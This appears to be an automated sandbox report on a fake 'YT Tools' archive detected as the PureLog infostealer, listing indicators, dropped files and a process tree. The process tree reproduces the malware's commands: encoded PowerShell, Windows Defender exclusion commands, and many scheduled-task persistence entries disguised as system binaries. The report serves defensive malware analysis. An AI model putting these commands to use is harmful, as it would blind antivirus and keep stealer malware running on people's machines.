Analysis

  • max time kernel
    85s
  • max time network
    106s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    16-03-2024 04:36

General

  • Target

    YT Tools v3.8.rar

  • Size

    272.4MB

  • MD5

    2d0e61ac1ab014a5ea1da333370a9ccc

  • SHA1

    c23988ea432f83bc098f37ccf67068bb91157c68

  • SHA256

    8d18fe99fa89a0e433dc5bb2a714f9ad8585508bd951de48e8c407321e19b63d

  • SHA512

    e4749399a4bf3590cd0ac7b139ea2d2014779fe1ba7f5b85a9ddd9904a4db264c379acf4fe661b953c6972b15ee00f45f57574609667090d19586ae66236c409

  • SSDEEP

    6291456:HsX0d3HUosm001aSlfMZqJzCYEIastSoc7sykPvtJ:HskdkN0fSqRE5ylc7DkNJ

Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 15 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • PureLog Stealer

    PureLog Stealer is an infostealer written in C#.

  • PureLog Stealer payload 2 IoCs
  • Checks computer location settings 2 TTPs 3 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 2 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Drops file in Program Files directory 5 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Creates scheduled task(s) 1 TTPs 15 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Modifies registry class 2 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 10 IoCs
  • Suspicious use of FindShellTrayWindow 4 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 25 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\YT Tools v3.8.rar"
    1⤵
    • Checks computer location settings
    • Modifies registry class
    • Suspicious use of WriteProcessMemory
    PID:3836
    • C:\Program Files\7-Zip\7zFM.exe
      "C:\Program Files\7-Zip\7zFM.exe" "C:\Users\Admin\AppData\Local\Temp\YT Tools v3.8.rar"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: GetForegroundWindowSpam
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of WriteProcessMemory
      PID:4544
      • C:\Users\Admin\AppData\Local\Temp\7zO0C1508D7\YT_ViewTools_v3.8.exe
        "C:\Users\Admin\AppData\Local\Temp\7zO0C1508D7\YT_ViewTools_v3.8.exe"
        3⤵
        • Checks computer location settings
        • Executes dropped EXE
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:2180
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHYAegBsACMAPgBBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsAPAAjAHoAYQBuACMAPgBbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAE0AZQBzAHMAYQBnAGUAQgBvAHgAXQA6ADoAUwBoAG8AdwAoACcAUgB1AG4AdABpAG0AZQAgAEUAcgByAG8AcgAgACgAYQB0ACAALQAxADoAMAApADoAIABDAGEAbgBuAG8AdAAgAEYAaQBuAGQAIABkAGwAbAAgAEMAOgAvAFcAaQBuAGQAbwB3AHMALwBhAHMAcwBlAG0AYgBsAHkALwBhAHAAaQAtAG0AcwAtAHcAaQBuAC0AYwByAHQALQByAHUAbgB0AGkAbQBlAC0AbAAxAC0AMQAtADAALgBkAGwAbAAnACwAJwAnACwAJwBPAEsAJwAsACcARQByAHIAbwByACcAKQA8ACMAZwByAGMAIwA+AA=="
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3892
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHgAawBkACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHQAaAB3ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGEAdwB4ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGIAcgBhACMAPgA="
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3688
        • C:\Users\Admin\AppData\Roaming\yt_surrogateServercomponentRuntimedll.exe
          "C:\Users\Admin\AppData\Roaming\yt_surrogateServercomponentRuntimedll.exe"
          4⤵
          • Checks computer location settings
          • Executes dropped EXE
          • Drops file in Program Files directory
          • Modifies registry class
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:5056
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\All Users\USOShared\yt_surrogateServercomponentRuntimedll.exe'
            5⤵
              PID:4372
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files\Windows NT\Accessories\en-US\7zFM.exe'
              5⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:3848
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Recovery\WindowsRE\powershell.exe'
              5⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:4784
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files\Windows Portable Devices\TrustedInstaller.exe'
              5⤵
                PID:452
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "powershell" -Command Add-MpPreference -ExclusionPath 'C:\odt\cmd.exe'
                5⤵
                • Suspicious use of AdjustPrivilegeToken
                PID:3576
              • C:\Windows\System32\cmd.exe
                "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\U1RtOWmL3h.bat"
                5⤵
                  PID:2820
                  • C:\Windows\system32\chcp.com
                    chcp 65001
                    6⤵
                      PID:1612
                    • C:\Windows\system32\PING.EXE
                      ping -n 10 localhost
                      6⤵
                      • Runs ping.exe
                      PID:4780
          • C:\Windows\system32\schtasks.exe
            schtasks.exe /create /tn "yt_surrogateServercomponentRuntimedlly" /sc MINUTE /mo 12 /tr "'C:\Users\All Users\USOShared\yt_surrogateServercomponentRuntimedll.exe'" /f
            1⤵
            • Process spawned unexpected child process
            • Creates scheduled task(s)
            PID:4228
          • C:\Windows\system32\schtasks.exe
            schtasks.exe /create /tn "yt_surrogateServercomponentRuntimedll" /sc ONLOGON /tr "'C:\Users\All Users\USOShared\yt_surrogateServercomponentRuntimedll.exe'" /rl HIGHEST /f
            1⤵
            • Process spawned unexpected child process
            • Creates scheduled task(s)
            PID:1200
          • C:\Windows\system32\schtasks.exe
            schtasks.exe /create /tn "yt_surrogateServercomponentRuntimedlly" /sc MINUTE /mo 8 /tr "'C:\Users\All Users\USOShared\yt_surrogateServercomponentRuntimedll.exe'" /rl HIGHEST /f
            1⤵
            • Process spawned unexpected child process
            • Creates scheduled task(s)
            PID:1448
          • C:\Windows\system32\schtasks.exe
            schtasks.exe /create /tn "7zFM7" /sc MINUTE /mo 5 /tr "'C:\Program Files\Windows NT\Accessories\en-US\7zFM.exe'" /f
            1⤵
            • Process spawned unexpected child process
            • Creates scheduled task(s)
            PID:3728
          • C:\Windows\system32\schtasks.exe
            schtasks.exe /create /tn "7zFM" /sc ONLOGON /tr "'C:\Program Files\Windows NT\Accessories\en-US\7zFM.exe'" /rl HIGHEST /f
            1⤵
            • Process spawned unexpected child process
            • Creates scheduled task(s)
            PID:2928
          • C:\Windows\system32\schtasks.exe
            schtasks.exe /create /tn "7zFM7" /sc MINUTE /mo 6 /tr "'C:\Program Files\Windows NT\Accessories\en-US\7zFM.exe'" /rl HIGHEST /f
            1⤵
            • Process spawned unexpected child process
            • Creates scheduled task(s)
            PID:2024
          • C:\Windows\system32\schtasks.exe
            schtasks.exe /create /tn "powershellp" /sc MINUTE /mo 8 /tr "'C:\Recovery\WindowsRE\powershell.exe'" /f
            1⤵
            • Process spawned unexpected child process
            • Creates scheduled task(s)
            PID:3516
          • C:\Windows\system32\schtasks.exe
            schtasks.exe /create /tn "powershell" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\powershell.exe'" /rl HIGHEST /f
            1⤵
            • Process spawned unexpected child process
            • Creates scheduled task(s)
            PID:4836
          • C:\Windows\system32\schtasks.exe
            schtasks.exe /create /tn "powershellp" /sc MINUTE /mo 12 /tr "'C:\Recovery\WindowsRE\powershell.exe'" /rl HIGHEST /f
            1⤵
            • Process spawned unexpected child process
            • Creates scheduled task(s)
            PID:4492
          • C:\Windows\system32\schtasks.exe
            schtasks.exe /create /tn "TrustedInstallerT" /sc MINUTE /mo 9 /tr "'C:\Program Files\Windows Portable Devices\TrustedInstaller.exe'" /f
            1⤵
            • Process spawned unexpected child process
            • Creates scheduled task(s)
            PID:1968
          • C:\Windows\system32\schtasks.exe
            schtasks.exe /create /tn "TrustedInstaller" /sc ONLOGON /tr "'C:\Program Files\Windows Portable Devices\TrustedInstaller.exe'" /rl HIGHEST /f
            1⤵
            • Process spawned unexpected child process
            • Creates scheduled task(s)
            PID:2084
          • C:\Windows\system32\schtasks.exe
            schtasks.exe /create /tn "TrustedInstallerT" /sc MINUTE /mo 14 /tr "'C:\Program Files\Windows Portable Devices\TrustedInstaller.exe'" /rl HIGHEST /f
            1⤵
            • Process spawned unexpected child process
            • Creates scheduled task(s)
            PID:3056
          • C:\Windows\system32\schtasks.exe
            schtasks.exe /create /tn "cmdc" /sc MINUTE /mo 5 /tr "'C:\odt\cmd.exe'" /f
            1⤵
            • Process spawned unexpected child process
            • Creates scheduled task(s)
            PID:652
          • C:\Windows\system32\schtasks.exe
            schtasks.exe /create /tn "cmd" /sc ONLOGON /tr "'C:\odt\cmd.exe'" /rl HIGHEST /f
            1⤵
            • Process spawned unexpected child process
            • Creates scheduled task(s)
            PID:1228
          • C:\Windows\system32\schtasks.exe
            schtasks.exe /create /tn "cmdc" /sc MINUTE /mo 13 /tr "'C:\odt\cmd.exe'" /rl HIGHEST /f
            1⤵
            • Process spawned unexpected child process
            • Creates scheduled task(s)
            PID:4512

          Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

            Filesize

            2KB

            MD5

            d85ba6ff808d9e5444a4b369f5bc2730

            SHA1

            31aa9d96590fff6981b315e0b391b575e4c0804a

            SHA256

            84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

            SHA512

            8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

          • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

            Filesize

            2KB

            MD5

            968cb9309758126772781b83adb8a28f

            SHA1

            8da30e71accf186b2ba11da1797cf67f8f78b47c

            SHA256

            92099c10776bb7e3f2a8d1b82d4d40d0c4627e4f1bf754a6e58dfd2c2e97042a

            SHA512

            4bd50732f8af4d688d95999bddfd296115d7033ddc38f86c9fb1f47fde202bffa27e9088bebcaa3064ca946af2f5c1ca6cbde49d0907f0005c7ab42874515dd3

          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

            Filesize

            944B

            MD5

            cadef9abd087803c630df65264a6c81c

            SHA1

            babbf3636c347c8727c35f3eef2ee643dbcc4bd2

            SHA256

            cce65b73cdfe9304bcd5207913e8b60fb69faa20cd3b684f2b0343b755b99438

            SHA512

            7278aa87124abb382d9024a645e881e7b7cf1b84e8894943b36e018dbf0399e6858392f77980b599fa5488e2e21bf757a0702fe6419417edac93b68e0c2ec085

          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

            Filesize

            17KB

            MD5

            04d1649d82e39d0ecd875d1d11b8439f

            SHA1

            90836a104b091c012cd093d8b24865b75398e36b

            SHA256

            bcfd7f1e70b9ce350f2b73bd78ce646c12dfe11cce5e67d3aeceaa9fbc55ee08

            SHA512

            9d180b3ad51a2e3118749de536a2d699ff9c99d81396c8519e3e7d5e62ecc8afc7642a954eb33ab290fec6d3002206265099526a6c6dde09f9615c557893c5f6

          • C:\Users\Admin\AppData\Local\Temp\7zO0C1508D7\YT_ViewTools_v3.8.exe

            Filesize

            3.1MB

            MD5

            b81fab4a5b1795b79178f26c240f6ded

            SHA1

            64698efa371d4b5202e548e2174e09ba6bf2a528

            SHA256

            3f80ca0291d4b78f82e830390f965a8c0cdd0d56052edb49e62496d83ccf601b

            SHA512

            1216f6d89a39da2e83910927cf40e98f51adb9a7fd5bade264c7a440d460951fb47cb83680ce84c115b7d7086191e9d7835344d3fc86bab4aeada5dcdc539028

          • C:\Users\Admin\AppData\Local\Temp\U1RtOWmL3h.bat

            Filesize

            142B

            MD5

            7b2d5b9a8b17089fab1bd292f095c33c

            SHA1

            fe59504d6399d9631c92635bf6b7beaaa70ae2fe

            SHA256

            9659c203171fc0246a7b3fd0324338745f8732f743b4cbe202ce63c90fb6d578

            SHA512

            203f0dc2bbe189b819cd3939955ef271eacf57486fa79f06f5c6daf6544b260350131d8456c4252db9d33da4192a81d912791e1d2215678b95a113543c11d81f

          • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3rvy0n55.mqd.ps1

            Filesize

            60B

            MD5

            d17fe0a3f47be24a6453e9ef58c94641

            SHA1

            6ab83620379fc69f80c0242105ddffd7d98d5d9d

            SHA256

            96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

            SHA512

            5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

          • C:\Users\Admin\AppData\Roaming\yt_surrogateServercomponentRuntimedll.exe

            Filesize

            872KB

            MD5

            c1342065fc0ce661c602ea4e0e5237a2

            SHA1

            2293f64664a2f01a36d77c40b2edd23957c4e986

            SHA256

            c706188ca1426de2524f0a9f44424ae56dcea64b03d53d25a4653a16571eb9cb

            SHA512

            14aa3d65e0f5f5abc075787cb0172ea245ae5dc88c6470cc97d86f779e229b8b8ee108e0e30b7f78b3b63c6323e1ac2722493424980cb57559759bd1e3d9ce88

          • memory/2180-30-0x000000007FA70000-0x000000007FE41000-memory.dmp

            Filesize

            3.8MB

          • memory/2180-13-0x000000007FA70000-0x000000007FE41000-memory.dmp

            Filesize

            3.8MB

          • memory/2180-12-0x0000000000400000-0x0000000000EC3000-memory.dmp

            Filesize

            10.8MB

          • memory/2180-25-0x0000000000400000-0x0000000000EC3000-memory.dmp

            Filesize

            10.8MB

          • memory/3688-113-0x0000000070420000-0x000000007046C000-memory.dmp

            Filesize

            304KB

          • memory/3688-112-0x0000000006DD0000-0x0000000006E02000-memory.dmp

            Filesize

            200KB

          • memory/3688-36-0x0000000005260000-0x0000000005270000-memory.dmp

            Filesize

            64KB

          • memory/3688-34-0x00000000058E0000-0x0000000005F08000-memory.dmp

            Filesize

            6.2MB

          • memory/3688-37-0x0000000073230000-0x00000000739E0000-memory.dmp

            Filesize

            7.7MB

          • memory/3688-38-0x0000000005260000-0x0000000005270000-memory.dmp

            Filesize

            64KB

          • memory/3688-68-0x00000000068B0000-0x00000000068FC000-memory.dmp

            Filesize

            304KB

          • memory/3688-111-0x000000007EFA0000-0x000000007EFB0000-memory.dmp

            Filesize

            64KB

          • memory/3688-41-0x0000000006170000-0x00000000061D6000-memory.dmp

            Filesize

            408KB

          • memory/3688-29-0x0000000005270000-0x00000000052A6000-memory.dmp

            Filesize

            216KB

          • memory/3688-102-0x0000000005260000-0x0000000005270000-memory.dmp

            Filesize

            64KB

          • memory/3688-101-0x0000000073230000-0x00000000739E0000-memory.dmp

            Filesize

            7.7MB

          • memory/3688-97-0x0000000005260000-0x0000000005270000-memory.dmp

            Filesize

            64KB

          • memory/3688-100-0x0000000005260000-0x0000000005270000-memory.dmp

            Filesize

            64KB

          • memory/3892-39-0x0000000005960000-0x0000000005982000-memory.dmp

            Filesize

            136KB

          • memory/3892-89-0x0000000073230000-0x00000000739E0000-memory.dmp

            Filesize

            7.7MB

          • memory/3892-31-0x0000000073230000-0x00000000739E0000-memory.dmp

            Filesize

            7.7MB

          • memory/3892-66-0x0000000006940000-0x000000000695E000-memory.dmp

            Filesize

            120KB

          • memory/3892-35-0x0000000005390000-0x00000000053A0000-memory.dmp

            Filesize

            64KB

          • memory/3892-109-0x0000000006E60000-0x0000000006E7A000-memory.dmp

            Filesize

            104KB

          • memory/3892-33-0x0000000005390000-0x00000000053A0000-memory.dmp

            Filesize

            64KB

          • memory/3892-40-0x0000000006230000-0x0000000006296000-memory.dmp

            Filesize

            408KB

          • memory/3892-107-0x0000000008010000-0x000000000868A000-memory.dmp

            Filesize

            6.5MB

          • memory/3892-56-0x0000000006310000-0x0000000006664000-memory.dmp

            Filesize

            3.3MB

          • memory/3892-94-0x0000000005390000-0x00000000053A0000-memory.dmp

            Filesize

            64KB

          • memory/3892-93-0x0000000005390000-0x00000000053A0000-memory.dmp

            Filesize

            64KB

          • memory/5056-95-0x000000001B3E0000-0x000000001B3F0000-memory.dmp

            Filesize

            64KB

          • memory/5056-62-0x000000001B350000-0x000000001B35E000-memory.dmp

            Filesize

            56KB

          • memory/5056-86-0x00007FFD73960000-0x00007FFD73961000-memory.dmp

            Filesize

            4KB

          • memory/5056-85-0x000000001B3D0000-0x000000001B3DE000-memory.dmp

            Filesize

            56KB

          • memory/5056-88-0x000000001B730000-0x000000001B73C000-memory.dmp

            Filesize

            48KB

          • memory/5056-82-0x00007FFD73970000-0x00007FFD73971000-memory.dmp

            Filesize

            4KB

          • memory/5056-90-0x00007FFD73950000-0x00007FFD73951000-memory.dmp

            Filesize

            4KB

          • memory/5056-91-0x00007FFD52F70000-0x00007FFD53A31000-memory.dmp

            Filesize

            10.8MB

          • memory/5056-92-0x000000001B3E0000-0x000000001B3F0000-memory.dmp

            Filesize

            64KB

          • memory/5056-81-0x000000001B3C0000-0x000000001B3CC000-memory.dmp

            Filesize

            48KB

          • memory/5056-79-0x00007FFD73980000-0x00007FFD73981000-memory.dmp

            Filesize

            4KB

          • memory/5056-63-0x00007FFD739D0000-0x00007FFD73A8E000-memory.dmp

            Filesize

            760KB

          • memory/5056-96-0x000000001B3E0000-0x000000001B3F0000-memory.dmp

            Filesize

            64KB

          • memory/5056-99-0x000000001B3E0000-0x000000001B3F0000-memory.dmp

            Filesize

            64KB

          • memory/5056-98-0x000000001B3E0000-0x000000001B3F0000-memory.dmp

            Filesize

            64KB

          • memory/5056-65-0x000000001B380000-0x000000001B39C000-memory.dmp

            Filesize

            112KB

          • memory/5056-67-0x00007FFD739C0000-0x00007FFD739C1000-memory.dmp

            Filesize

            4KB

          • memory/5056-83-0x000000001B3E0000-0x000000001B3F0000-memory.dmp

            Filesize

            64KB

          • memory/5056-78-0x000000001B370000-0x000000001B37E000-memory.dmp

            Filesize

            56KB

          • memory/5056-103-0x000000001B990000-0x000000001BA90000-memory.dmp

            Filesize

            1024KB

          • memory/5056-104-0x00007FFD739D0000-0x00007FFD73A8E000-memory.dmp

            Filesize

            760KB

          • memory/5056-105-0x000000001B990000-0x000000001BA90000-memory.dmp

            Filesize

            1024KB

          • memory/5056-106-0x000000001B990000-0x000000001BA90000-memory.dmp

            Filesize

            1024KB

          • memory/5056-108-0x000000001B990000-0x000000001BA90000-memory.dmp

            Filesize

            1024KB

          • memory/5056-75-0x000000001B360000-0x000000001B36E000-memory.dmp

            Filesize

            56KB

          • memory/5056-110-0x000000001B990000-0x000000001BA90000-memory.dmp

            Filesize

            1024KB

          • memory/5056-76-0x00007FFD73990000-0x00007FFD73991000-memory.dmp

            Filesize

            4KB

          • memory/5056-32-0x000000001B3E0000-0x000000001B3F0000-memory.dmp

            Filesize

            64KB

          • memory/5056-72-0x000000001B3A0000-0x000000001B3B8000-memory.dmp

            Filesize

            96KB

          • memory/5056-73-0x00007FFD739A0000-0x00007FFD739A1000-memory.dmp

            Filesize

            4KB

          • memory/5056-70-0x000000001B740000-0x000000001B790000-memory.dmp

            Filesize

            320KB

          • memory/5056-69-0x00007FFD739B0000-0x00007FFD739B1000-memory.dmp

            Filesize

            4KB

          • memory/5056-28-0x0000000002A20000-0x0000000002A60000-memory.dmp

            Filesize

            256KB

          • memory/5056-27-0x00007FFD52F70000-0x00007FFD53A31000-memory.dmp

            Filesize

            10.8MB

          • memory/5056-26-0x00000000007E0000-0x00000000008BC000-memory.dmp

            Filesize

            880KB